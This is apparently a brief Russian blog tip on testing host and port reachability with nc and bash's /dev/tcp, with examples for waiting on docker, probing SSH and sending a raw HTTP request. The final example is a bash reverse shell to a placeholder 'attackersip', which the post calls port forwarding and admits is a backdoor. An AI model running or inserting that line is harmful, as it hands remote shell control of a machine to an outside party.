Иногда бывает нужно проверить доступность хоста по IP-адресу и порту.Проверить подключение можно с помощью nc:
nc -v ~~IP-ADDRESS~~ ~~PORT~~
А если нет nc, то есть чистая конструкцияя на bash:
printf "" 2>>/dev/null >>/dev/tcp/~~IP-ADDRESS~~/~~PORT~~ && echo "Ok" || echo "Failed"
Например, дождаться запуска сервиса (в данном случае docker) можно так:
timeout 60 bash -c 'until printf "" 2>>/dev/null >>/dev/tcp/$0/$1; do sleep 1; done' 0.0.0.0 2375
/dev/tcp - это виртуальная функция bash, то есть на самом деле такого устройства нету.
Еще примеры.
Проверить доступность ssh-сервера:
cat < /dev/tcp/127.0.0.1/22 SSH-2.0-OpenSSH_7.4
Сделать запрос на HTTP-сервер:
exec 15<>/dev/tcp/consolechars.wordpress.com/80 echo -e "GET / HTTP/1.1\n\n" >&15 cat <&15
Пробросить порт на удаленный сервер (фактически - сделать бекдор):
bash -i >& /dev/tcp/attackersip/port 0>&1
Discussion